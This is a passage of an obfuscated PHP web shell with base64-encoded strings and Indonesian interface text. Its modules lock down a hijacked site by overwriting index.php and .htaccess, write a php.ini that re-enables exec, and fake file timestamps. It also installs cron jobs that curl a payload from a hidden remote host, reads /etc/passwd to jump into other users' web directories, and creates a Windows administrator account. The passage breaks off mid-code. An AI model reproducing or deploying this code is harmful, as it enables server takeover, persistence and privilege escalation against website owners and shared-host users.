fgt($htaccess); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($htaccess_content) . wb('PC90ZXh0YXJlYT4='); } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PHA+UGxlYXNlIG5vIC8gYXQgdGhlIGVuZDwvcD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktori . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PGJyPgkJPHU+SmVuaXMgOjwvdT48c2VsZWN0IG5hbWU9ImplbmlzbG9jayIgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiAyNTBweDsgaGVpZ2h0OiA0MHB4OyI+CQkJPG9wdGlvbiB2YWx1ZT0id3Aic2VsZWN0ZWQ9InNlbGVjdGVkIj5Mb2NrZG93biBXb3JkcHJlc3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaWduYXR1cmUiPkxvY2tkb3duIFNpZ25hdHVyZTwvb3B0aW9uPjwvc2VsZWN0Pjxicj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBzdHlsZT0id2lkdGg6IDI1MHB4OyBoZWlnaHQ6IDQwcHg7IiB2YWx1ZT0iTG9jayBOb3cgISIgbmFtZT0iTG9ja05vdyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPjxicj48c3BhbiBzdHlsZT0iY29sb3I6cmVkIj4='); if (isset($_POST[wb('TG9ja05vdw==')])) { $kunci = $_POST[wb('amVuaXNsb2Nr')]; if ($GNJ[22]($direktori, -1) == wb('Lw==')) { $direktori = $GNJ[22]($direktori, 0, -1); } $phpini = $direktori . wb('L3BocC5pbmk='); $indexwp = $direktori . wb('L2luZGV4LnBocA=='); switch ($kunci) { case wb('d3A='): $lockhtaccess = implode(wb('fA=='), $enx0); break; case wb('c2lnbmF0dXJl'): $lockhtaccess = implode(wb('fA=='), $enx1); break; default: $lockhtaccess = implode(wb('fA=='), $enx1); break; } if ($kunci === wb('d3A=')) { $indexphp = wb('UEQ5d2FIQUtMeW9xQ2lBcUlFWnliMjUwSUhSdklIUm9aU0JYYjNKa1VISmxjM01nWVhCd2JHbGpZWFJwYjI0dUlGUm9hWE1nWm1sc1pTQmtiMlZ6YmlkMElHUnZJR0Z1ZVhSb2FXNW5MQ0JpZFhRZ2JHOWhaSE1LSUNvZ2QzQXRZbXh2Wnkxb1pXRmtaWEl1Y0dod0lIZG9hV05vSUdSdlpYTWdZVzVrSUhSbGJHeHpJRmR2Y21SUWNtVnpjeUIwYnlCc2IyRmtJSFJvWlNCMGFHVnRaUzRLSUNvS0lDb2dRSEJoWTJ0aFoyVWdWMjl5WkZCeVpYTnpDaUFxTHdvS0x5b3FDaUFxSUZSbGJHeHpJRmR2Y21SUWNtVnpjeUIwYnlCc2IyRmtJSFJvWlNCWGIzSmtVSEpsYzNNZ2RHaGxiV1VnWVc1a0lHOTFkSEIxZENCcGRDNEtJQ29LSUNvZ1FIWmhjaUJpYjI5c0NpQXFMd3BrWldacGJtVW9JQ2RYVUY5VlUwVmZWRWhGVFVWVEp5d2dkSEoxWlNBcE93b0tMeW9xSUV4dllXUnpJSFJvWlNCWGIzSmtVSEpsYzNNZ1JXNTJhWEp2Ym0xbGJuUWdZVzVrSUZSbGJYQnNZWFJsSUNvdkNuSmxjWFZwY21VZ1gxOUVTVkpmWHlBdUlDY3ZkM0F0WW14dlp5MW9aV0ZrWlhJdWNHaHdKenM9'); $indexphp = b64dd($indexphp); if ($GNJ[26]($indexwp)) { $indexphp_content = fgt($indexwp); if ($indexphp == $indexphp_content) { echo wb('aW5kZXgucGhwIHNhbWEgLi48YnI+'); echo wb('Q2htb2QgNDQ0IGluZGV4LnBocDxicj4='); @$GNJ[12]($indexwp, 292); } else { echo wb('Q2htb2QgNzc3IGluZGV4LnBocDxicj4='); $GNJ[12]($indexwp, 511); echo wb('SGFwdXMgaW5kZXgucGhwPGJyPg=='); @$GNJ[10]($indexwp); echo wb('VGFtYmFoa2FuIGluZGV4LnBocCBiYXJ1PGJyPg=='); @file_put_contents($indexwp, $indexphp); echo wb('Q2htb2QgNDQ0IGluZGV4LnBocDxicj4='); @$GNJ[12]($indexwp, 292); echo wb('UmFuZG9taXplIGluZGV4LnBocCBkYXRlPGJyPg=='); @$GNJ[25]($indexwp, $waktu); } } if ($GNJ[26]($htaccess)) { echo wb('Q2htb2QgNzc3IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 511); echo wb('ZGVsZXRpbmcgaHRhY2Nlc3M8YnI+'); @$GNJ[10]($htaccess); } echo wb('TWVuYW1iYWggaHRhY2Nlc3MgYmFydTxicj4='); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src2 = $lockhtaccess; $src3 = b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); @file_put_contents($htaccess, $src1); @file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); @file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $contentxx1 = wb('UVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVjR1Jt'); $contentxx = b64dd($contentxx1); @file_put_contents($htaccessx, $contentxx); file_put_contents($phpini, b64dd(wb('YzJGbVpWOXRiMlJsSUQwZ1QyWm1DbVJwYzJGaWJHVmZablZ1WTNScGIyNXpJRDBnVGs5T1JRcHpZV1psWDIxdlpHVmZaMmxrSUQwZ1QwWkdDbTl3Wlc1ZlltRnpaV1JwY2lBOUlFOUdSZ3BsZUdWaklEMGdUMDRnQ25Ob1pXeHNYMlY0WldNZ1BTQlBUZz09'))); echo wb('SW5qZWN0IFBIUC5pbmkgYnlwYXNzPGJyPg=='); echo wb('Q2htb2QgNDQ0IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 292); echo wb('Q2htb2QgNDQ0IGZpbGUgaW5pPGJyPg=='); @$GNJ[12]($this_file, 292); echo wb('UmFuZG9tIHdha3R1IGh0YWNjZXNzPGJyPg=='); @$GNJ[25]($htaccess, $waktu); echo wb('UmFuZG9tIHdha3R1IGZpbGUgaW5pPGJyPg=='); @$GNJ[25]($this_file, $waktu); echo wb('QWxsIGRvbmUh'); } else { if ($GNJ[26]($htaccess)) { echo wb('Q2htb2QgNzc3IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 511); echo wb('ZGVsZXRpbmcgaHRhY2Nlc3M8YnI+'); @$GNJ[10]($htaccess); } echo wb('TWVuYW1iYWggaHRhY2Nlc3MgYmFydTxicj4='); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src2 = $lockhtaccess; $src3 = b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); @file_put_contents($htaccess, $src1); @file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); @file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $contentxx1 = wb('UVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVjR1Jt'); $contentxx = b64dd($contentxx1); @file_put_contents($htaccessx, $contentxx); @file_put_contents($phpini, b64dd(wb('YzJGbVpWOXRiMlJsSUQwZ1QyWm1DbVJwYzJGaWJHVmZablZ1WTNScGIyNXpJRDBnVGs5T1JRcHpZV1psWDIxdlpHVmZaMmxrSUQwZ1QwWkdDbTl3Wlc1ZlltRnpaV1JwY2lBOUlFOUdSZ3BsZUdWaklEMGdUMDRnQ25Ob1pXeHNYMlY0WldNZ1BTQlBUZz09'))); echo wb('SW5qZWN0IFBIUC5pbmkgYnlwYXNzPGJyPg=='); echo wb('Q2htb2QgNDQ0IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 292); echo wb('Q2htb2QgNDQ0IGZpbGUgaW5pPGJyPg=='); @$GNJ[12]($this_file, 292); echo wb('UmFuZG9tIHdha3R1IGh0YWNjZXNzPGJyPg=='); @$GNJ[25]($htaccess, $waktu); echo wb('UmFuZG9tIHdha3R1IGZpbGUgaW5pPGJyPg=='); @$GNJ[25]($this_file, $waktu); echo wb('QWxsIGRvbmUh'); } } echo wb('PC9zcGFuPg=='); } elseif (isset($_GET[hex(wb('Y2hlY2tzZW8='))])) { $hckrtgt = wb('aHR0cHM6Ly9hcGkuaGFja2VydGFyZ2V0LmNvbS9yZXZlcnNlaXBsb29rdXAvP3E9') . $_SERVER[wb('U0VSVkVSX0FERFI=')]; $apiIP = wb('aHR0cDovL2lwLWFwaS5jb20vcGhwLw=='); echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U0VPIENoZWNrIA==') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('PC9oMj48L2NlbnRlcj48YnI+'); echo wb('PGNlbnRlcj48aDQ+PGEgaHJlZj0iaHR0cHM6Ly9zZWN1cml0eXRyYWlscy5jb20vbGlzdC9pcC8=') . @$_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IiB0YXJnZXQ9Il9ibGFuayI+WyBzZWN1cml0eXRyYWlscyBdPC9hPiA8YSBocmVmPSJodHRwczovL3d3dy52aXJ1c3RvdGFsLmNvbS9ndWkvaXAtYWRkcmVzcy8=') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IiB0YXJnZXQ9Il9ibGFuayI+WyB2aXJ1c3RvdGFsIF08L2E+IDxhIGhyZWY9Imh0dHBzOi8vcHVibGljd3d3LmNvbS93ZWJzaXRlcy9pcCUzQQ==') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('LyIgdGFyZ2V0PSJfYmxhbmsiPlsgcHVibGljd3d3IF08L2E+PGJyPjwvaDQ+PC9jZW50ZXI+'); echo wb('PGJyPjxpZnJhbWUgaWQ9J2NvbnRlbnQnIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA5MDBweDsgb3ZlcmZsb3cteDogaGlkZGVuOyBvdmVyZmxvdy15OiBzY3JvbGw7JyBzcmM9J2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP2lndT0xJmVpPSZxPXNpdGUlM0E=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Jz48cD5Zb3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCBpZnJhbWVzLjwvcD48L2lmcmFtZT4='); echo wb('PGgzPlRoaXMgc2VydmVyIGhhcyBkb21haW4ocykgbmFtZSBpbiBsYXN0IDIgd2Vla3M6PC9oMz4='); print_r(fgt($hckrtgt)); echo wb('PGJyPjxoMz5XaXRoIElQIEluZm88L2gzPg=='); print_r(fgt($apiIP)); } elseif (isset($_GET[hex(wb('Y3JvbnRhYg=='))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5Dcm9uam9iPC9oMj48L2NlbnRlcj4='); echo "\x43\162\x6f\156\152\x6f\x62\72\40{$crontab}\40\x7c\40"; if (function_exists(wb('ZXhlYw=='))) { echo wb('RVhFQzogT04='); } else { echo wb('RVhFQzogT0ZG'); } if (function_exists(wb('ZXhlYw=='))) { echo wb('PGJyPjxicj48Y2VudGVyPgoJCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+CTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi1zdWNjZXNzIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0nbGlzdCcgdmFsdWU9J0xpc3QnPgoJCQkJCTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi13YXJuaW5nIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPSdQYXNhbmchJz4KCQkJCQk8aW5wdXQgIGNsYXNzID0gJ2J0biBidG4tZGFuZ2VyIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0naGFwdXMnIHZhbHVlPSdIYXB1cyEnPgoJCQkJCTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi1pbmZvIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0naGFwdXNzZW11YScgdmFsdWU9J0hhcHVzIFNlbXVhISc+CTwvZm9ybT48YnI+PGJyPjwvY2VudGVyPg=='); if (isset($_POST[wb('bGlzdA==')])) { $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); clearstatcache(); } if (isset($_POST[wb('Z28=')])) { if (!$GNJ[8]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duLw=='))) { $GNJ[11]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duLw=='), 493, true); } exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIiogKiAqICogKiBjdXJsIC1mc0xrIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMaTB6bnVvdTZnPQ==')) . wb('ID4g') . $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCIpIHwgY3JvbnRhYiAt')); exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIjUgKiAqICogKiBjdXJsIC1mc0xrIC9kZXYvbnVsbCAn') . decno(wb('eDhHc3ZiU1NlSHpQd3F1MWI4dTF2Tk91cDN1a3g3Wjg=')) . $_SERVER[wb('SFRUUF9IT1NU')] . wb('JnBpbmc9JyIpIHwgY3JvbnRhYiAt')); echo wb('PGJyPkxpbms6IDxhIGhyZWY9Jy8v') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCcgdGFyZ2V0PSdfYmxhbmsnPg==') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocDwvYT4gZGVmZW5zZSB0aWFwIG1lbml0ISA8YnI+'); echo wb('RG9uZSE='); $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); } if (isset($_POST[wb('aGFwdXM=')])) { exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGwgfCBncmVwIC12ICJjdXJsIC1mc0xrIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMaTB6bnVvdTZnPQ==')) . wb('ID4g') . $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCIpIHwgY3JvbnRhYiAt')); exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGwgfCBncmVwIC12ICJjdXJsIC1mc0xrIC9kZXYvbnVsbCAn') . decno(wb('eDhHc3ZiU1NlSHpQd3F1MWI4dTF2Tk91cDN1a3g3Wjg=')) . $_SERVER[wb('SFRUUF9IT1NU')] . wb('JnBpbmc9JyIpIHwgY3JvbnRhYiAt')); $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); } if (isset($_POST[wb('aGFwdXNzZW11YQ==')])) { exec(wb('Y3JvbnRhYiAtcg=='), $output); exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+PGJyPiBTdWRhaCB0ZXJoYXB1cyBzZW11YSE='); } print wb('PC9kaXY+'); clearstatcache(); } else { echo wb('PGNlbnRlcj48aDI+RVhFQyBESVNBQkxFRCA8L2E+PC9jZW50ZXI+'); } } elseif (isset($_GET[hex(wb('anVtcGluZw=='))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5KdW1waW5nIFk8L2gyPg=='); echo wb('PGZvcm0gbWV0aG9kID0gJ1BPU1QnIGFjdGlvbiA9ICcnPg=='); echo wb('PGlucHV0IHR5cGUgPSAnc3VibWl0JyBuYW1lID0gJ2p1bXAnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHN0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweDsnIHZhbHVlID0gJ0p1bXAhJz4g'); echo wb('PGJyPjxicj48L2NlbnRlcj4='); if (isset($_POST[wb('anVtcA==')])) { $i = 0; echo wb('PHByZT48ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+'); $etc = $GNJ[17](wb('L2V0Yy9wYXNzd2Q='), wb('cg==')) or die(wb('PGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+')); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo wb('PGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+'); } else { preg_match_all(wb('LyguKj8pOng6Lw=='), $passwd, $user_jumping); foreach ($user_jumping[1] as $user_Exc_jump) { $user_jumping_dir = "\57\x68\157\x6d\x65\x2f{$user_Exc_jump}\57\160\165\x62\x6c\151\x63\x5f\x68\164\x6d\154"; if ($GNJ[32]($user_jumping_dir)) { $i++; $jrw = "\x5b\74\x66\x6f\x6e\164\x20\x63\x6f\154\157\162\x3d\154\151\155\145\76\x52\x3c\57\146\x6f\156\x74\76\135\40\x3c\141\40\x68\x72\145\146\x3d\47\x3f\144\151\162\x3d{$user_jumping_dir}\x27\x3e\x3c\146\x6f\156\164\x20\x63\157\154\x6f\162\75\x67\157\154\x64\x3e{$user_jumping_dir}\74\x2f\146\x6f\156\164\76\74\x2f\141\76"; if ($GNJ[31]($user_jumping_dir)) { $jrw = "\x5b\74\x66\x6f\156\164\x20\x63\x6f\154\157\162\x3d\x6c\x69\155\145\x3e\x52\127\x3c\57\x66\x6f\156\164\76\x5d\40\74\141\x20\x68\x72\145\146\75\47\x3f\144\151\x72\75{$user_jumping_dir}\47\76\74\146\x6f\156\x74\x20\x63\157\x6c\x6f\x72\75\147\157\154\x64\x3e{$user_jumping_dir}\x3c\57\146\x6f\156\x74\x3e\x3c\x2f\x61\x3e"; } echo $jrw; if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ='))) { $domain_jump = fgt(wb('L2V0Yy9uYW1lZC5jb25m')); if ($domain_jump == '') { echo wb('ID0+ICggPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+'); } else { preg_match_all(wb('Iy92YXIvbmFtZWQvKC4qPykuZGIj'), $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("\x2f\145\164\x63\x2f\x76\x61\154\x69\141\x73\145\163\x2f{$dj}")); $user_jumping_url = $user_jumping_url[wb('bmFtZQ==')]; if ($user_jumping_url == $user_Exc_jump) { echo "\40\75\76\x20\x28\40\74\x75\x3e{$dj}\x3c\x2f\x75\76\x20\x29\74\x62\162\76"; break; } } } } else { echo wb('PGJyPg=='); } } } } } if ($i == 0) { } else { echo wb('PGJyPlRvdGFsIGFkYSA=') . $i . wb('IEthbWFyIGRpIA==') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . ''; } echo wb('PC9kaXY+PC9wcmU+'); } } elseif (isset($_GET[hex(wb('cmRw'))])) { AutomenU($d); $user = get_current_user(); if (!Unix()) { if ($_POST[wb('Y3JlYXRl')]) { $user = $GNJ[15]($_POST[wb('dXNlcg==')]); $pass = $GNJ[15]($_POST[wb('cGFzcw==')]); if (preg_match("\x2f{$user}\x2f", exe(wb('bmV0IHVzZXI=')))) { echo "\133\x49\116\106\117\x5d\x20\x2d\76\x20\74\x66\157\156\164\40\143\x6f\x6c\x6f\162\x3d\162\145\x64\76\165\x73\145\162\x20\74\x66\157\156\164\40\143\157\x6c\157\x72\x3d\154\151\155\x65\x3e{$user}\74\57\x66\x6f\156\164\76\x20\163\165\x64\x61\150\40\141\x64\141\x3c\x2f\x66\x6f\x6e\x74\76"; } else { $add_user = exe("\156\145\x74\40\165\x73\145\162\40{$user}\40{$pass}\x20\x2f\141\144\144"); $add_groups1 = exe("\156\x65\x74\40\154\x6f\143\141\154\x67\162\x6f\x75\160\x20\101\x64\155\x69\156\151\163\164\x72\x61\x74\157\x72\163\40{$user}\x20\57\x61\144\144"); $add_groups2 = exe("\156\145\164\x20\x6c\x6f\x63\x61\x6c\147\162\x6f\165\x70\40\101\x64\x6d\x69\156\151\x73\164\162\x61\x74\x6f\162\40{$user}\x20\x2f\x61\144\144"); $add_groups3 = exe("\156\x65\164\40\154\x6f\143\141\154\147\162\x6f\165\x70\40\101\144\155\151\x6e\x69\163\x74\162\141\164\145\165\162\40{$user}\x20\57\x61\x64\144"); echo wb('WyBSRFAgQUNDT1VOVCBJTkZPIF08YnI+CgkJCQkJCQkJCQkJIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KCQkJCQkJCQkJCQkgSVA6IDxmb250IGNvbG9yPWxpbWU+') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . "\74\57\x66\157\x6e\x74\76\x3c\x62\x72\76\12\11\11\x9\x9\x9\11\x9\11\11\x9\11\40\x55\x73\145\162\156\141\x6d\x65\72\40\74\146\x6f\156\x74\x20\143\157\x6c\157\162\x3d\x6c\x69\155\145\x3e{$user}\74\x2f\146\157\x6e\x74\76\74\142\x72\76\xa\11\11\x9\11\11\x9\11\11\x9\11\11\x20\x50\141\x73\163\167\x6f\162\144\x3a\40\74\x66\x6f\x6e\x74\40\143\x6f\154\x6f\162\x3d\x6c\151\x6d\x65\76{$pass}\74\x2f\x66\157\x6e\x74\x3e\x3c\x62\x72\76\xa\11\11\x9\x9\x9\11\x9\11\11\11\x9\40\x2d\x2d\x2d\55\55\x2d\x2d\55\55\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\55\55\x2d\55\55\55\55\55\74\142\x72\76\74\142\162\x3e\12\x9\x9\11\11\11\11\x9\x9\11\11\11\40\133\40\x53\124\x41\124\125\123\x20\x5d\x3c\142\x72\76\12\11\x9\11\x9\x9\11\x9\11\11\x9\11\x20\55\55\x2d\x2d\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\55\55\x2d\x2d\55\55\55\55\55\55\55\55\74\x62\162\76\12\x9\x9\x9\11\11\11\11\11\11\11\11\x20"; if ($add_user) { echo wb('W2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } else { echo wb('W2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48YnI+'); } if ($add_groups1) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JzXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } elseif ($add_groups2) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+'); } elseif ($add_groups3) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } else { echo wb('W2FkZCBsb2NhbGdyb3VwXSAtPiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48YnI+'); } echo wb('LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg=='); } } elseif ($_POST[wb('c19vcHNp')]) { $user = $GNJ[15]($_POST[wb('cl91c2Vy')]); if ($_POST[wb('b3BzaQ==')] == wb('MQ==')) { $cek = exe("\156\x65\164\x20\165\163\145\x72\40{$user}"); echo "\103\x68\x65\143\153\151\x6e\147\x20\x75\163\x65\162\156\x61\155\x65\x20\x3c\146\157\156\164\40\x63\157\154\157\162\75\x6c\x69\x6d\x65\x3e{$user}\x3c\x2f\146\x6f\156\164\x3e\40\x2e\x2e\x2e\56\x2e\x2e\x2e\x20"; if (preg_match("\x2f{$user}\x2f", $cek)) { echo "\133\40\74\146\x6f\x6e\164\x20\143\157\154\157\x72\75\154\x69\x6d\145\76\x53\165\x64\x61\x68\40\x61\x64\x61\74\57\146\x6f\x6e\x74\76\40\135\74\x62\x72\76\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\55\55\x2d\x2d\x2d\55\55\55\x2d\55\x2d\55\x2d\x2d\55\55\55\55\x2d\55\74\142\162\76\74\142\x72\x3e\12\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x3c\160\x72\x65\x3e{$cek}\74\x2f\x70\162\x65\x3e"; } else { echo wb('WyA8Zm9udCBjb2xvcj1yZWQ+YmVsdW0gYWRhPC9mb250PiBd'); } } elseif ($_POST[wb('b3BzaQ==')] == wb('Mg==')) { $cek = exe("\156\x65\164\x20\x75\x73\145\162\x20{$user}\40\153\x61\163\x69\156\157"); if (preg_match("\x2f{$user}\57", 